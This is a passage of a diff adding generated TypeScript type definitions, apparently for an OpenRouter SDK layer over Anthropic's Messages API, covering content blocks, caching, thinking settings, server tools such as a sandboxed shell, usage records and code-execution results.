breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + source: + | (AnthropicBase64ImageSource & { + type: 'base64' + }) + | (AnthropicUrlImageSource & { + type: 'url' + }) + | (AnthropicFileDocumentSource & { + type: 'file' + }) + type: 'image' +} + +/** + * @example {"type":"url","url":"https://example.com/document.pdf"} + * @type object + */ +export type AnthropicUrlPdfSource = { + type: 'url' + url: string +} + +/** + * @example {"source":{"data":"Hello, world!","media_type":"text/plain","type":"text"},"type":"document"} + * @type object + */ +export type AnthropicDocumentBlockParam = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + citations?: { + enabled?: boolean + } | null + context?: string | null + source: + | AnthropicBase64PdfSource + | AnthropicPlainTextSource + | { + content: + | string + | ( + | (AnthropicTextBlockParam & { + type: 'text' + }) + | (AnthropicImageBlockParam & { + type: 'image' + }) + )[] + type: 'content' + } + | AnthropicUrlPdfSource + | AnthropicFileDocumentSource + title?: string | null + type: 'document' +} + +/** + * @example {"type":"input_tokens","value":50000} + * @type object + */ +export type AnthropicInputTokensClearAtLeast = { + type: 'input_tokens' + value: number +} | null + +/** + * @example {"type":"input_tokens","value":100000} + * @type object + */ +export type AnthropicInputTokensTrigger = { + type: 'input_tokens' + value: number +} + +export const anthropicOutputEffort = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type AnthropicOutputEffortKey = + (typeof anthropicOutputEffort)[keyof typeof anthropicOutputEffort] + +/** + * @example {"effort":"low"} + * @type object + */ +export type AnthropicMessageOutputConfig = { + /** + * @example high + * @type string | undefined + */ + effort?: AnthropicOutputEffortKey | null +} | null + +/** + * @description A server-side safeguard Anthropic evaluates alongside the completion + * @example {"classifier_context":{"permission_mode":"auto","v":1},"type":"dangerous_tool_use"} + * @type object + */ +export type AnthropicSafeguard = { + classifier_context?: { + [key: string]: unknown + } + type: string + [key: string]: unknown +} + +/** + * @example {"content":[{"text":"Result content","type":"text"}],"source":"example_source","title":"Example Result","type":"search_result"} + * @type object + */ +export type AnthropicSearchResultBlockParam = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + citations?: { + enabled?: boolean + } + content: AnthropicTextBlockParam[] + source: string + title: string + type: 'search_result' +} + +export const anthropicSpeed = { + fast: 'fast', + standard: 'standard', +} as const + +export type AnthropicSpeedKey = + (typeof anthropicSpeed)[keyof typeof anthropicSpeed] + +export const anthropicSystemClearAt = { + next_user_message: 'next_user_message', + never: 'never', +} as const + +export type AnthropicSystemClearAtKey = + (typeof anthropicSystemClearAt)[keyof typeof anthropicSystemClearAt] + +export const anthropicThinkingBlockBindingMismatchBehaviorEnum = { + error: 'error', + drop_block: 'drop_block', +} as const + +export type AnthropicThinkingBlockBindingMismatchBehaviorEnumKey = + (typeof anthropicThinkingBlockBindingMismatchBehaviorEnum)[keyof typeof anthropicThinkingBlockBindingMismatchBehaviorEnum] + +export const anthropicThinkingBlockBindingPrefixMismatchBehaviorEnum = { + error: 'error', + drop_block: 'drop_block', +} as const + +export type AnthropicThinkingBlockBindingPrefixMismatchBehaviorEnumKey = + (typeof anthropicThinkingBlockBindingPrefixMismatchBehaviorEnum)[keyof typeof anthropicThinkingBlockBindingPrefixMismatchBehaviorEnum] + +/** + * @example {"prefix_mismatch_behavior":"drop_block"} + * @type object + */ +export type AnthropicThinkingBlockBinding = { + /** + * @description Deprecated: legacy alias of prefix_mismatch_behavior. Send only one of the two. + * @deprecated + * @type string | undefined + */ + mismatch_behavior?: AnthropicThinkingBlockBindingMismatchBehaviorEnumKey | null + prefix_mismatch_behavior?: AnthropicThinkingBlockBindingPrefixMismatchBehaviorEnumKey | null +} | null + +export const anthropicThinkingDisplay = { + summarized: 'summarized', + omitted: 'omitted', + updates: 'updates', +} as const + +export type AnthropicThinkingDisplayKey = + (typeof anthropicThinkingDisplay)[keyof typeof anthropicThinkingDisplay] + +/** + * @example {"type":"thinking_turns","value":3} + * @type object + */ +export type AnthropicThinkingTurns = { + type: 'thinking_turns' + value: number +} + +export const anthropicToolSearchToolBm25TypeEnum = { + tool_search_tool_bm25_20251119: 'tool_search_tool_bm25_20251119', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type AnthropicToolSearchToolBm25TypeEnumKey = + (typeof anthropicToolSearchToolBm25TypeEnum)[keyof typeof anthropicToolSearchToolBm25TypeEnum] + +export type AnthropicToolSearchToolBm25 = { + /** + * @example ["direct"] + * @type array | undefined + */ + allowed_callers?: AnthropicAllowedCallers + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + defer_loading?: boolean + name: 'tool_search_tool_bm25' + strict?: boolean + type: AnthropicToolSearchToolBm25TypeEnumKey +} + +export const anthropicToolSearchToolRegexTypeEnum = { + tool_search_tool_regex_20251119: 'tool_search_tool_regex_20251119', + tool_search_tool_regex: 'tool_search_tool_regex', +} as const + +export type AnthropicToolSearchToolRegexTypeEnumKey = + (typeof anthropicToolSearchToolRegexTypeEnum)[keyof typeof anthropicToolSearchToolRegexTypeEnum] + +export type AnthropicToolSearchToolRegex = { + /** + * @example ["direct"] + * @type array | undefined + */ + allowed_callers?: AnthropicAllowedCallers + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + defer_loading?: boolean + name: 'tool_search_tool_regex' + strict?: boolean + type: AnthropicToolSearchToolRegexTypeEnumKey +} + +/** + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object + */ +export type AnthropicWebSearchToolUserLocation = { + city?: string | null + country?: string | null + region?: string | null + timezone?: string | null + type: 'approximate' +} | null + +/** + * @description An Anthropic tool definition: a client-defined tool with a JSON Schema `input_schema`, or a server tool (bash, text editor, web search). + * @example {"description":"Get the current weather for a city.","input_schema":{"properties":{"city":{"type":"string"}},"required":["city"],"type":"object"},"name":"get_weather"} + */ +export type AnthropicToolUnion = + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + defer_loading?: boolean + description?: string + input_schema: { + properties?: unknown + required?: string[] | null + type: 'object' + [key: string]: unknown + } + name: string + strict?: boolean + type?: 'custom' + } + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + name: 'bash' + type: 'bash_20250124' + } + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + name: 'str_replace_editor' + type: 'text_editor_20250124' + } + | { + allowed_domains?: string[] | null + blocked_domains?: string[] | null + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + max_uses?: number | null + name: 'web_search' + type: 'web_search_20250305' + /** + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: AnthropicWebSearchToolUserLocation | null + } + | { + /** + * @example ["direct"] + * @type array | undefined + */ + allowed_callers?: AnthropicAllowedCallers + allowed_domains?: string[] | null + blocked_domains?: string[] | null + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + max_uses?: number | null + name: 'web_search' + type: 'web_search_20260209' + /** + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: AnthropicWebSearchToolUserLocation | null + } + +/** + * @example {"type":"tool_uses","value":5} + * @type object + */ +export type AnthropicToolUsesKeep = { + type: 'tool_uses' + value: number +} + +/** + * @example {"type":"tool_uses","value":10} + * @type object + */ +export type AnthropicToolUsesTrigger = { + type: 'tool_uses' + value: number +} + +/** + * @example {"encrypted_content":"enc_content_0","title":"Example Page","type":"web_search_result","url":"https://example.com"} + * @type object + */ +export type AnthropicWebSearchResultBlockParam = { + encrypted_content: string + page_age?: string | null + title: string + type: 'web_search_result' + url: string +} + +/** + * @description Advisor tool result from a prior assistant turn, replayed back to the model on the next turn. Mirrors the block Anthropic returns in assistant content when the `advisor_20260301` tool runs. + * @example {"content":{"text":"Advisor response text","type":"advisor_result"},"tool_use_id":"srvtoolu_01abc","type":"advisor_tool_result"} + * @type object + */ +export type MessagesAdvisorToolResultBlock = { + content: { + [key: string]: unknown + } + tool_use_id: string + type: 'advisor_tool_result' +} + +/** + * @description Output of a sandbox-executed `openrouter:bash` call from a prior assistant turn. Accepted on replay and dropped before the provider request — Anthropic has no equivalent block. + * @example {"content":{"command":"ls","exitCode":0,"stderr":"","stdout":"README.md\n"},"tool_use_id":"srvtoolu_01abc","type":"openrouter_bash_tool_result"} + * @type object + */ +export type MessagesBashToolResultBlock = { + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + content: { + [key: string]: unknown + } + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + tool_use_id: string + type: 'openrouter_bash_tool_result' +} + +/** + * @description Fallback model to try when the primary model fails or refuses. Only the `model` field is supported; per-attempt overrides are rejected. + * @example {"model":"claude-opus-4-8"} + * @type object + */ +export type MessagesFallbackParam = { + model: string + [key: string]: unknown +} + +/** + * @description Adds a tool mid-conversation without invalidating the prompt cache: either a previously deferred tool (declared in `tools` with `defer_loading: true`, referenced by name) or a full inline `tool_definition`. Only valid in `role: "system"` messages. Not supported on Claude Sonnet 5 or models older than Claude Opus 4.8. + * @example {"tool":{"name":"get_forecast","type":"tool_reference"},"type":"tool_addition"} + * @type object + */ +export type MessagesToolAdditionBlock = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + tool: + | { + name: string + type: 'tool_reference' + } + | { + name: string + server_name: string + type: 'mcp_tool_reference' + } + | { + server_name: string + type: 'mcp_toolset_reference' + } + | { + /** + * @description An Anthropic tool definition: a client-defined tool with a JSON Schema `input_schema`, or a server tool (bash, text editor, web search). + * @example {"description":"Get the current weather for a city.","input_schema":{"properties":{"city":{"type":"string"}},"required":["city"],"type":"object"},"name":"get_weather"} + */ + definition: AnthropicToolUnion + type: 'tool_definition' + } + type: 'tool_addition' +} + +/** + * @description Removes a tool from the conversation mid-conversation without invalidating the prompt cache. Only valid in `role: "system"` messages. Not supported on Claude Sonnet 5 or models older than Claude Opus 4.8. + * @example {"tool":{"name":"get_weather","type":"tool_reference"},"type":"tool_removal"} + * @type object + */ +export type MessagesToolRemovalBlock = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + tool: + | { + name: string + type: 'tool_reference' + } + | { + name: string + server_name: string + type: 'mcp_tool_reference' + } + | { + server_name: string + type: 'mcp_toolset_reference' + } + type: 'tool_removal' +} + +/** + * @description Output of an `openrouter:shell` call from a prior assistant turn. Accepted on replay and dropped before the provider request — Anthropic has no equivalent block. + * @example {"content":{"output":[{"outcome":{"exit_code":0,"type":"exit"},"stderr":"","stdout":"README.md\n"}]},"tool_use_id":"srvtoolu_01abc","type":"openrouter_shell_tool_result"} + * @type object + */ +export type MessagesShellToolResultBlock = { + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + content: { + [key: string]: unknown + } + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + tool_use_id: string + type: 'openrouter_shell_tool_result' +} + +/** + * @description Router-owned deferred discovery result for continuation. + * @example {"content":{"matches":[]},"tool_use_id":"search","type":"openrouter_tool_search_result"} + * @type object + */ +export type ORAnthropicToolSearchResultParam = { + content: { + [key: string]: unknown + } + tool_use_id: string + type: 'openrouter_tool_search_result' +} + +export const messagesMessageParamContentContentErrorCodeEnum = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + max_uses_exceeded: 'max_uses_exceeded', + too_many_requests: 'too_many_requests', + query_too_long: 'query_too_long', + request_too_large: 'request_too_large', +} as const + +export type MessagesMessageParamContentContentErrorCodeEnumKey = + (typeof messagesMessageParamContentContentErrorCodeEnum)[keyof typeof messagesMessageParamContentContentErrorCodeEnum] + +export const messagesMessageParamRoleEnum = { + user: 'user', + assistant: 'assistant', + system: 'system', +} as const + +export type MessagesMessageParamRoleEnumKey = + (typeof messagesMessageParamRoleEnum)[keyof typeof messagesMessageParamRoleEnum] + +/** + * @description Anthropic message with OpenRouter extensions + * @example {"content":"Hello, how are you?","role":"user"} + * @type object + */ +export type MessagesMessageParam = { + /** + * @example next_user_message + * @type string | undefined + */ + clear_at?: AnthropicSystemClearAtKey | null + content: + | string + | ( + | AnthropicTextBlockParam + | AnthropicImageBlockParam + | AnthropicDocumentBlockParam + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + id: string + input?: unknown + name: string + type: 'tool_use' + } + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + content?: + | string + | ( + | AnthropicTextBlockParam + | AnthropicImageBlockParam + | { + tool_name: string + type: 'tool_reference' + } + | AnthropicSearchResultBlockParam + | AnthropicDocumentBlockParam + )[] + is_error?: boolean + tool_use_id: string + type: 'tool_result' + } + | { + signature: string + thinking: string + type: 'thinking' + } + | { + data: string + type: 'redacted_thinking' + } + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + id: string + input?: unknown + name: string + type: 'server_tool_use' + } + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + content: + | AnthropicWebSearchResultBlockParam[] + | { + error_code: MessagesMessageParamContentContentErrorCodeEnumKey + type: 'web_search_tool_result_error' + } + tool_use_id: string + type: 'web_search_tool_result' + } + | AnthropicSearchResultBlockParam + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + content: string | null + encrypted_content?: string | null + type: 'compaction' + } + | MessagesAdvisorToolResultBlock + | MessagesToolAdditionBlock + | MessagesToolRemovalBlock + | MessagesShellToolResultBlock + | MessagesBashToolResultBlock + | ORAnthropicToolSearchResultParam + )[] + /** + * @example {"effort":"low"} + * @type object | undefined + */ + output_config?: AnthropicMessageOutputConfig | null + role: MessagesMessageParamRoleEnumKey +} + +export const messagesOutputConfigEffortEnum = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type MessagesOutputConfigEffortEnumKey = + (typeof messagesOutputConfigEffortEnum)[keyof typeof messagesOutputConfigEffortEnum] + +/** + * @description Configuration for controlling output behavior. Supports the effort parameter and structured output format. + * @example {"effort":"medium"} + * @type object + */ +export type MessagesOutputConfig = { + /** + * @description How much effort the model should put into its response. Higher effort levels may result in more thorough analysis but take longer. Valid values are `low`, `medium`, `high`, `xhigh`, or `max`. + * @example medium + * @type string | undefined + */ + effort?: MessagesOutputConfigEffortEnumKey | null + /** + * @description A schema to specify Claude's output format in responses. See [structured outputs](https://platform.claude.com/docs/en/build-with-claude/structured-outputs). + * @type object | undefined + */ + format?: { + schema: { + [key: string]: unknown + } + type: 'json_schema' + } | null + /** + * @description Task budget for an agentic turn. The model sees a countdown of remaining tokens and uses it to prioritize work and wind down gracefully. Advisory — does not enforce a hard cap. + * @example {"total":400000,"type":"tokens"} + * @type object | undefined + */ + task_budget?: { + /** + * @minimum 0 + * @type integer | undefined + */ + remaining?: number | null + /** + * @minimum 20000 + * @type integer + */ + total: number + type: 'tokens' + } | null +} + +/** + * @description OpenRouter built-in server tool: searches and filters AI models available on OpenRouter + * @example {"parameters":{"max_results":5},"type":"openrouter:experimental__search_models"} + * @type object + */ +export type MessagesSearchModelsServerTool = { + /** + * @description Configuration for the openrouter:experimental__search_models server tool + * @example {"max_results":5} + * @type object | undefined + */ + parameters?: SearchModelsServerToolConfig + type: 'openrouter:experimental__search_models' +} + +export const shellServerToolEngine = { + auto: 'auto', + openrouter: 'openrouter', +} as const + +export type ShellServerToolEngineKey = + (typeof shellServerToolEngine)[keyof typeof shellServerToolEngine] + +/** + * @description Server-side execution environment for the shell tool. Only container-backed environments are supported; "local" shells are not. + * @example {"type":"container_auto"} + */ +export type ShellServerToolEnvironment = + | (ContainerAutoEnvironment & { + type: 'container_auto' + }) + | (ContainerReferenceEnvironment & { + type: 'container_reference' + }) + +/** + * @description Configuration for the openrouter:shell server tool + * @example {"engine":"openrouter","environment":{"type":"container_auto"}} + * @type object + */ +export type ShellServerToolConfig = { + /** + * @description Which shell engine to use. "openrouter" runs commands server-side in the OpenRouter sandbox. "auto" (default) keeps the provider's native hosted shell when available (OpenAI); on other providers the call is routed to the OpenRouter sandbox. + * @example openrouter + * @type string | undefined + */ + engine?: ShellServerToolEngineKey + /** + * @description Server-side execution environment for the shell tool. Only container-backed environments are supported; "local" shells are not. + * @example {"type":"container_auto"} + */ + environment?: ShellServerToolEnvironment +} + +/** + * @description OpenRouter built-in server tool: runs shell commands server-side in a sandboxed container (a sandbox-backed clone of OpenAI's hosted shell tool) + * @example {"parameters":{"engine":"openrouter","environment":{"type":"container_auto"}},"type":"openrouter:shell"} + * @type object + */ +export type ShellServerToolOpenRouter = { + /** + * @description Configuration for the openrouter:shell server tool + * @example {"engine":"openrouter","environment":{"type":"container_auto"}} + * @type object | undefined + */ + parameters?: ShellServerToolConfig + type: 'openrouter:shell' +} + +/** + * @description Configuration for the openrouter:tool_search server tool + * @example {"max_results":5} + * @type object + */ +export type ToolSearchServerToolConfig = { + /** + * @description Maximum tools returned by one search. Defaults to 5. + * @example 5 + * @type integer | undefined + */ + max_results?: number +} + +/** + * @description OpenRouter built-in server tool: finds tools marked `defer_loading` and makes them callable + * @example {"parameters":{"max_results":5},"type":"openrouter:tool_search"} + * @type object + */ +export type ToolSearchServerTool = { + /** + * @description Configuration for the openrouter:tool_search server tool + * @example {"max_results":5} + * @type object | undefined + */ + parameters?: ToolSearchServerToolConfig + type: 'openrouter:tool_search' +} + +/** + * @example {"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":0} + * @type object + */ +export type AnthropicIterationCacheCreation = { + ephemeral_1h_input_tokens?: number + ephemeral_5m_input_tokens?: number +} | null + +/** + * @example {"cache_creation":null,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"input_tokens":100,"output_tokens":50} + * @type object + */ +export type AnthropicBaseUsageIteration = { + /** + * @example {"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":0} + * @type object | undefined + */ + cache_creation?: AnthropicIterationCacheCreation | null + cache_creation_input_tokens?: number + cache_read_input_tokens?: number + input_tokens?: number + output_tokens?: number +} + +/** + * @example {"cache_creation":null,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"input_tokens":823,"model":"claude-opus-4-6","output_tokens":1612,"type":"advisor_message"} + */ +export type AnthropicAdvisorMessageUsageIteration = + AnthropicBaseUsageIteration & { + model: string + type: 'advisor_message' + } + +/** + * @example {"content":{"text":"Advisor response text","type":"advisor_result"},"tool_use_id":"srvtoolu_01abc","type":"advisor_tool_result"} + * @type object + */ +export type AnthropicAdvisorToolResult = { + content: { + [key: string]: unknown + } + tool_use_id: string + type: 'advisor_tool_result' +} + +export const anthropicBashCodeExecutionToolResultErrorErrorCodeEnum = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', + output_file_too_large: 'output_file_too_large', +} as const + +export type AnthropicBashCodeExecutionToolResultErrorErrorCodeEnumKey = + (typeof anthropicBashCodeExecutionToolResultErrorErrorCodeEnum)[keyof typeof anthropicBashCodeExecutionToolResultErrorErrorCodeEnum] + +/** + * @example {"error_code":"unavailable","type":"bash_code_execution_tool_result_error"} + * @type object + */ +export type AnthropicBashCodeExecutionToolResultError = { + error_code: AnthropicBashCodeExecutionToolResultErrorErrorCodeEnumKey + type: 'bash_code_execution_tool_result_error' +} + +/** + * @example {"file_id":"file_01abc","type":"bash_code_execution_output"} + * @type object + */ +export type AnthropicBashCodeExecutionOutput = { + file_id: string + type: 'bash_code_execution_output' +} + +/** + * @example {"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"bash_code_execution_result"} + * @type object + */ +export type AnthropicBashCodeExecutionResult = { + content: AnthropicBashCodeExecutionOutput[] + return_code: number + stderr: string + stdout: string + type: 'bash_code_execution_result' +} + +/** + * @example {"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"bash_code_execution_result"} + */ +export type AnthropicBashCodeExecutionContent = + | (AnthropicBashCodeExecutionToolResultError & { + type: 'bash_code_execution_tool_result_error' + }) + | (AnthropicBashCodeExecutionResult & { + type: 'bash_code_execution_result' + }) + +/** + * @example {"content":{"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"bash_code_execution_result"},"tool_use_id":"srvtoolu_01abc","type":"bash_code_execution_tool_result"} + * @type object + */ +export type AnthropicBashCodeExecutionToolResult = { + /** + * @example {"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"bash_code_execution_result"} + */ + content: AnthropicBashCodeExecutionContent + tool_use_id: string + type: 'bash_code_execution_tool_result' +} + +/** + * @example {"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":100} + * @type object + */ +export type AnthropicCacheCreation = { + ephemeral_1h_input_tokens: number + ephemeral_5m_input_tokens: number +} | null + +/** + * @example {"type":"direct"} + * @type object + */ +export type AnthropicDirectCaller = { + type: 'direct' +} + +/** + * @example {"tool_id":"toolu_01abc","type":"code_execution_20250825"} + * @type object + */ +export type AnthropicCodeExecution20250825Caller = { + tool_id: string + type: 'code_execution_20250825' +} + +/** + * @example {"tool_id":"toolu_01abc","type":"code_execution_20260120"} + * @type object + */ +export type AnthropicCodeExecution20260120Caller = { + tool_id: string + type: 'code_execution_20260120' +} + +/** + * @example {"type":"direct"} + */ +export type AnthropicCaller = + | (AnthropicDirectCaller & { + type: 'direct' + }) + | (AnthropicCodeExecution20250825Caller & { + type: 'code_execution_20250825' + }) + | (AnthropicCodeExecution20260120Caller & { + type: 'code_execution_20260120' + }) + +/** + * @example {"cited_text":"Example cited text","document_index":0,"document_title":null,"end_char_index":18,"file_id":null,"start_char_index":0,"type":"char_location"} + * @type object + */ +export type AnthropicCitationCharLocation = { + cited_text: string + document_index: number + document_title: string | null + end_char_index: number + file_id: string | null + start_char_index: number + type: 'char_location' +} + +/** + * @example {"cited_text":"Example cited text","document_index":0,"document_title":null,"end_block_index":1,"file_id":null,"start_block_index":0,"type":"content_block_location"} + * @type object + */ +export type AnthropicCitationContentBlockLocation = { + cited_text: string + document_index: number + document_title: string | null + end_block_index: number + file_id: string | null + start_block_index: number + type: 'content_block_location' +} + +/** + * @example {"cited_text":"Example cited text","document_index":0,"document_title":null,"end_page_number":2,"file_id":null,"start_page_number":1,"type":"page_location"} + * @type object + */ +export type AnthropicCitationPageLocation = { + cited_text: string + document_index: number + document_title: string | null + end_page_number: number + file_id: string | null + start_page_number: number + type: 'page_location' +} + +/** + * @example {"cited_text":"Example cited text","end_block_index":1,"search_result_index":0,"source":"example_source","start_block_index":0,"title":"Example Result","type":"search_result_location"} + * @type object + */ +export type AnthropicCitationSearchResultLocation = { + cited_text: string + end_block_index: number + search_result_index: number + source: string + start_block_index: number + title: string | null + type: 'search_result_location' +} + +/** + * @example {"cited_text":"Example cited text","encrypted_index":"enc_idx_0","title":"Example Page","type":"web_search_result_location","url":"https://example.com"} + * @type object + */ +export type AnthropicCitationWebSearchResultLocation = { + cited_text: string + encrypted_index: string + title: string | null + type: 'web_search_result_location' + url: string +} + +/** + * @example {"enabled":true} + * @type object + */ +export type AnthropicCitationsConfig = { + enabled: boolean +} | null + +export const anthropicServerToolErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', +} as const + +export type AnthropicServerToolErrorCodeKey = + (typeof anthropicServerToolErrorCode)[keyof typeof anthropicServerToolErrorCode] + +/** + * @example {"error_code":"unavailable","type":"code_execution_tool_result_error"} + * @type object + */ +export type AnthropicCodeExecutionToolResultError = { + /** + * @example unavailable + * @type string + */ + error_code: AnthropicServerToolErrorCodeKey + type: 'code_execution_tool_result_error' +} + +/** + * @example {"file_id":"file_01abc","type":"code_execution_output"} + * @type object + */ +export type AnthropicCodeExecutionOutput = { + file_id: string + type: 'code_execution_output' +} + +/** + * @example {"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"code_execution_result"} + * @type object + */ +export type AnthropicCodeExecutionResult = { + content: AnthropicCodeExecutionOutput[] + return_code: number + stderr: string + stdout: string + type: 'code_execution_result' +} + +/** + * @example {"content":[],"encrypted_stdout":"enc_stdout","return_code":0,"stderr":"","type":"encrypted_code_execution_result"} + * @type object + */ +export type AnthropicEncryptedCodeExecutionResult = { + content: AnthropicCodeExecutionOutput[] + encrypted_stdout: string + return_code: number + stderr: string + type: 'encrypted_code_execution_result' +} + +/** + * @example {"content":[],"return_code":0,"stderr":"","stdout":"Hello","type":"code_execution_result"} + */ +export type AnthropicCodeExecutionContent = + | (AnthropicCodeExecutionToolResultError & { + type: 'code_execution_tool_result_error' + }) + | (AnthropicCodeExecutionResult & { + type: 'code_execution_result' + }) + | (AnthropicEncryptedCodeExecutionResult & { + type: 'encrypted_code_execution_result' + }) + +/** + * @example 